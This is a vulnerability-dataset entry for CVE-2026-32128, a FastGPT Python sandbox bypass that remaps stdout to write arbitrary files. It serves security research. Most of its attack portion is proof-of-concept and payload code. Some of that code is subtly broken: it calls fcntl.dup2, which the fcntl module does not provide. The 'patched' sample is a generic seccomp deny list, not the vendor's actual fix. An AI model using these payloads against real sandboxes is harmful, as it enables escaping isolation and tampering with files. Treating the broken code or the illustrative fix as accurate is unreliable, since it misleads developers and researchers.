CVE-2026-32128
FastGPT sandbox file write guardrail bypass via stdout remapping.
- CVSS 6.3
- CWE-184
- Design Defects
- Local
FastGPT is an AI Agent building platform. In 4.14.7 and earlier, FastGPT's Python Sandbox (fastgpt-sandbox) includes guardrails intended to prevent file writes (static detection + seccomp). These guardrails are bypassable by remapping stdout (fd 1) to an arbitrary writable file descriptor using fcntl. After remapping, writing via sys.stdout.write() still satisfies the seccomp rule write(fd==1), enabling arbitrary file creation/overwrite inside the sandbox container despite the intended no file writes restriction.
- CWE
- CWE-184
- CVSS base score
- 6.3
- Published
- 2026-03-11
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Design Defects
- Subcategory
- Poorly Designed Access Controls
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- FastGPT
Solution
Upgrade to FastGPT version 4.14.8 or later.
Vulnerable code sample
import os
import sys
import fcntl
# This code represents a proof-of-concept for CVE-2026-32128.
# It demonstrates how to bypass a seccomp filter that allows write(fd=1)
# but is intended to prevent arbitrary file writes.
# The path to the file we want to create or overwrite inside the sandbox.
# /tmp is a common writable location in many container environments.
target_file_path = '/tmp/pwned.txt'
# The malicious payload to write to the file.
payload = "Vulnerability CVE-2026-32128 exploited: Arbitrary file write successful.\n"
try:
# 1. Open the target file for writing. This operation is typically allowed.
# The OS assigns a new file descriptor (e.g., 3, 4, 5...) to this file.
file_obj = open(target_file_path, 'w')
target_fd = file_obj.fileno()
# 2. This is the core of the exploit.
# Use fcntl.dup2() to duplicate our target file's descriptor (target_fd)
# onto the standard output file descriptor (which is always 1).
# After this call, any data written to file descriptor 1 will be
# redirected to our target file ('/tmp/pwned.txt').
# The original stdout is closed and replaced.
stdout_fd = 1 # sys.stdout.fileno()
fcntl.dup2(target_fd, stdout_fd)
# 3. Write the payload to what appears to be standard output.
# The Python interpreter calls the underlying write() syscall with fd=1.
# The seccomp filter checks the system call: write(fd=1, ...).
# Since writing to fd=1 is on the allowlist, the operation is permitted.
# The kernel, having remapped fd 1, then writes the data to '/tmp/pwned.txt'.
sys.stdout.write(payload)
sys.stdout.flush()
finally:
# 4. Clean up by closing the original file object.
# This also closes the underlying file descriptor.
if 'file_obj' in locals() and not file_obj.closed:
file_obj.close()
# The script exits. If you check the sandbox's filesystem, '/tmp/pwned.txt'
# will now exist and contain the payload.Patched code sample
import os
import sys
import signal
import multiprocessing
# This code requires the 'python-seccomp' library.
# Install it with: pip install python-seccomp
try:
import seccomp
except ImportError:
print("This demonstration requires the 'python-seccomp' library.", file=sys.stderr)
print("Please install it using: pip install python-seccomp", file=sys.stderr)
sys.exit(1)
def malicious_payload():
"""
This function represents the exploit attempt. It tries to remap stdout (fd=1)
to a new file 'pwned.txt' and then write to it. In a vulnerable system,
this would succeed.
"""
try:
# The goal is to create and write to 'pwned.txt'.
target_file = 'pwned.txt'
print(f"[PAYLOAD] Attempting to open '{target_file}' for writing...")
# Open an arbitrary file, which returns a new file descriptor (e.g., fd=3).
fd_new = os.open(target_file, os.O_WRONLY | os.O_CREAT)
print(f"[PAYLOAD] Opened '{target_file}' with fd={fd_new}. Now trying to remap stdout.")
# THE VULNERABLE STEP: Use fcntl or dup2 to remap stdout (fd=1)
# to the file descriptor of 'pwned.txt'.
# The CVE describes fcntl, but dup2 is a more direct way to do this.
# A robust fix must block both.
os.dup2(fd_new, 1)
# This write *appears* to go to stdout (fd=1), which might be allowed
# by a simple seccomp rule like 'allow write(fd=1)'.
# However, due to the remapping, it now writes to 'pwned.txt'.
print("[PAYLOAD] Remapping successful. Writing to sys.stdout...")
sys.stdout.write("Vulnerability exploited!\n")
sys.stdout.flush()
print("[PAYLOAD] File 'pwned.txt' should now exist with content.")
os.close(fd_new)
except Exception as e:
# In the fixed environment, the seccomp filter will kill the process
# before this exception handler is ever reached.
print(f"[PAYLOAD] An unexpected error occurred: {e}", file=sys.stderr)
def secure_sandbox_worker(payload_function):
"""
This function represents the secured sandbox environment. It applies a
seccomp filter to block the syscalls necessary for the exploit before
executing the payload.
"""
print("[SANDBOX] Configuring seccomp filter to fix the vulnerability...")
# Initialize a seccomp filter. Default action is to allow all syscalls.
# We will then create a blacklist of dangerous syscalls.
filt = seccomp.SyscallFilter(defaction=seccomp.ALLOW)
# --- THE FIX ---
# The vulnerability is caused by remapping file descriptors. The syscalls
# responsible are `fcntl`, `dup`, `dup2`, and `dup3`.
# By adding rules to kill the process if it attempts to use these
# syscalls, we prevent the stdout remapping and fix the vulnerability.
print("[SANDBOX] FIX: Blocking fcntl, dup, dup2, and dup3 syscalls.")
filt.add_rule(seccomp.KILL, "fcntl")
filt.add_rule(seccomp.KILL, "dup")
filt.add_rule(seccomp.KILL, "dup2")
filt.add_rule(seccomp.KILL, "dup3")
# Load the seccomp filter into the kernel.
# From this point on, any attempt to call a blacklisted syscall will
# result in the process being terminated by the kernel with a SIGSYS signal.
filt.load()
print("[SANDBOX] Seccomp filter loaded. Executing payload...")
# Execute the potentially malicious payload.
payload_function()
if __name__ == "__main__":
# Clean up any file from previous failed runs.
if os.path.exists("pwned.txt"):
os.remove("pwned.txt")
# We run the sandboxed code in a separate process to demonstrate that
# the seccomp filter kills the child process without affecting the parent.
print("[MAIN] Starting the secure sandbox as a new process.")
process = multiprocessing.Process(
target=secure_sandbox_worker,
args=(malicious_payload,)
)
process.start()
process.join()
# The exit code of a process killed by a signal is -SIGNAL_NUMBER.
# The seccomp.KILL action sends SIGSYS (signal 31).
expected_exit_code = -signal.SIGSYS
print("\n--- VERIFICATION ---")
print(f"[MAIN] Sandbox process finished with exit code: {process.exitcode}")
if process.exitcode == expected_exit_code:
print("[MAIN] SUCCESS: Process was terminated by the seccomp filter as expected.")
print("[MAIN] The `dup2` syscall was blocked, preventing the exploit.")
else:
print("[MAIN] FAILED: Process was not terminated by the seccomp filter.", file=sys.stderr)
if not os.path.exists("pwned.txt"):
print("[MAIN] SUCCESS: The file 'pwned.txt' was not created.")
print("\n[CONCLUSION] The vulnerability has been fixed.")
else:
print("[MAIN] VULNERABILITY PRESENT: The file 'pwned.txt' was created.", file=sys.stderr)
os.remove("pwned.txt")Payload
import os
import sys
import fcntl
# Open a target file to get a new file descriptor
target_fd = os.open('/tmp/pwned_by_cve', os.O_WRONLY | os.O_CREAT)
# Remap stdout (fd 1) to the new file descriptor using fcntl.dup2
# After this, any write to fd 1 will go to '/tmp/pwned_by_cve'
stdout_fd = 1
fcntl.dup2(target_fd, stdout_fd)
# Write to sys.stdout. The seccomp rule allows write(fd=1),
# but fd 1 now points to our file, bypassing the restriction.
sys.stdout.write('Arbitrary file write successful.\n')
# Clean up the original file descriptor
os.close(target_fd)
Cite this entry
@misc{vaitp:cve202632128,
title = {{FastGPT sandbox file write guardrail bypass via stdout remapping.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-32128},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-32128/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
